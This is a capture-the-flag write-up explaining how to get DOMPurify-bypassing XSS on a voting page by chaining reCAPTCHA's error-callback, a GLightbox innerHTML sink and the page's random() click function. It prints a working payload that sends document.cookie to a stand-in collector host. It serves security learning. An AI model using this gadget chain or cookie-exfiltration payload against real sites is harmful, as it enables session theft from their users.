$ cat writeup.md…
$ cat writeup.md…
gpnctf
Task: XSS on a voting page protected by DOMPurify 3.4.7 with reCAPTCHA and GLightbox loaded; bot sets flag cookie and visits attacker URL. Solution: chain reCAPTCHA data-error-callback auto-fire gadget with GLightbox video innerHTML sink and page's random() click function to achieve no-interaction XSS bypassing DOMPurify.
We hosted a cookoff please vote. The best dish will be added to the menu
A static voting page ("Karlsruhe Cook-Off") is served at http://localhost:1337. It accepts a ?shareText= query parameter, sanitizes it with DOMPurify.sanitize() (v3.4.7, default config), and injects the result into #shared-text.innerHTML. The page loads three external libraries: GLightbox (lightbox/gallery), DOMPurify 3.4.7 (HTML sanitizer), and Google reCAPTCHA (api.js async defer).
A Playwright bot (admin.js) sets a cookie "flag" + FLAG on localhost:1337, then navigates to an attacker-provided URL (must start with http://localhost:1337), waits 10 seconds, and closes. The bot does not click anything. No CSP is set.
The goal is to achieve XSS to exfiltrate document.cookie.
const shareText = new URLSearchParams(location.search).get("shareText"); if (shareText !== null) { document.getElementById("shared-section").hidden = false; document.getElementById("shared-text").innerHTML = DOMPurify.sanitize(shareText); }
DOMPurify 3.4.7 with default config strips all event handlers, <script>, <iframe>, <object>, <base>, <meta>, SVG event attributes, and dangerous URI schemes. However, it preserves class and all data-* attributes on standard HTML elements. This is the key to the exploit.
http://localhost:1337 — payload goes in ?shareText=The page defines/loads these callable window functions:
GLightbox() — re-initializes the lightbox libraryrandom() — clicks a random input[name="vote"] elementDOMPurify — the sanitizergrecaptcha — reCAPTCHA object (methods are dotted, not directly callable)Gadget 1: reCAPTCHA data-error-callback (auto-fire primitive)
The reCAPTCHA library auto-renders any element with class="g-recaptcha" on page load. When given an invalid data-sitekey, reCAPTCHA triggers the function named in data-error-callback by doing a flat window[name]() lookup — no arguments, auto-fires without user interaction. This is a well-known gadget from kevin-mizu's GMSGadget collection and terjanq's TokyoWesterns CTF 2020 research.
From the reCAPTCHA source (recaptcha__en.js):
if (typeof L === 'function') f = L; else if (typeof window[L] === 'function') f = window[L]; // called with no args, this=window
DOMPurify allows this through because class and data-* attributes survive sanitization:
<div class="g-recaptcha" data-sitekey="invalid" data-error-callback="GLightbox"></div>
Gadget 2: GLightbox video innerHTML sink (post-sanitization XSS)
GLightbox's video slide handler builds HTML for local video playback by concatenating the slide's href directly into a string:
l += '<source src="'.concat(c, '">'); // c = t.href from data-href g = y(l); // y() does: div.innerHTML = e — RAW innerHTML, NO sanitization!
The data-href attribute on a .glightbox element sets t.href via GLightbox's parseConfig (reads e.dataset[key]). The sanitizeValue method only converts "true"/"false" to booleans — it does NOT sanitize HTML.
So data-href='q"><img src=x onerror=PAYLOAD>' produces:
<source src="q"><img src=x onerror=PAYLOAD>
This is set via raw innerHTML, causing the <img onerror> to fire — bypassing DOMPurify entirely since the dangerous HTML is constructed by GLightbox AFTER sanitization.
Gadget 3: random() provides the click primitive
The video innerHTML sink only fires when a lightbox slide is opened (requires a click). The bot doesn't click. The page's own random() function solves this:
function random() { const options = document.querySelectorAll('input[name="vote"]'); const randomOption = options[Math.floor(Math.random() * options.length)]; randomOption.click(); }
By making our injected element an <input name="vote" class="glightbox" data-type="video" data-href="...">, it matches BOTH input[name="vote"] (for random()) and .glightbox (for GLightbox click binding). When random() clicks it, GLightbox's click handler fires open(), which triggers the video slide build with our malicious data-href.
The execution order matters:
GLightbox() must be called first via reCAPTCHA error-callback — this re-initializes GLightbox, which re-scans the DOM and binds click handlers to our newly injected .glightbox element (the original GLightbox() call at page load ran before our payload was injected via innerHTML)
random() must be called after — it clicks our injected <input>, triggering GLightbox's open → video build → innerHTML sink → XSS
Multiple reCAPTCHA divs with different data-sitekey values ensure timing reliability.
<input name="vote" class="glightbox" data-type="video" data-href='q"><img src=x onerror=location=`https://COLLECTOR?c=`+document.cookie>'> <div class="g-recaptcha" data-sitekey="gl0" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl1" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl2" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl3" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl4" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="rn0" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn1" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn2" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn3" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn4" data-error-callback="random"></div>
http://localhost:1337/?shareText=ENCODED_PAYLOADclass + data-* attributes are allowed by default)#shared-text via innerHTMLapi.js (loaded async) auto-renders all .g-recaptcha elementsGLightbox() re-inits (binds click handler to injected .glightbox input), then random() clicks the inputopen() → video-local path → y() sets innerHTML with data-href containing <img onerror=...>onerror fires: location = 'https://webhook.site/UUID?c=' + document.cookieURL-encode the payload into ?shareText=... and send to the bot:
http://localhost:8080/bot/run?url=http://localhost:1337/?shareText=<URL_ENCODED_PAYLOAD>
data-description selector gadget — requires a click to open the lightbox; bot doesn't clickdocument.scripts — SANITIZE_DOM (default on) blocks name="scripts" on forms<iframe srcdoc>, <base>, <meta http-equiv=refresh> — all stripped by DOMPurify$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar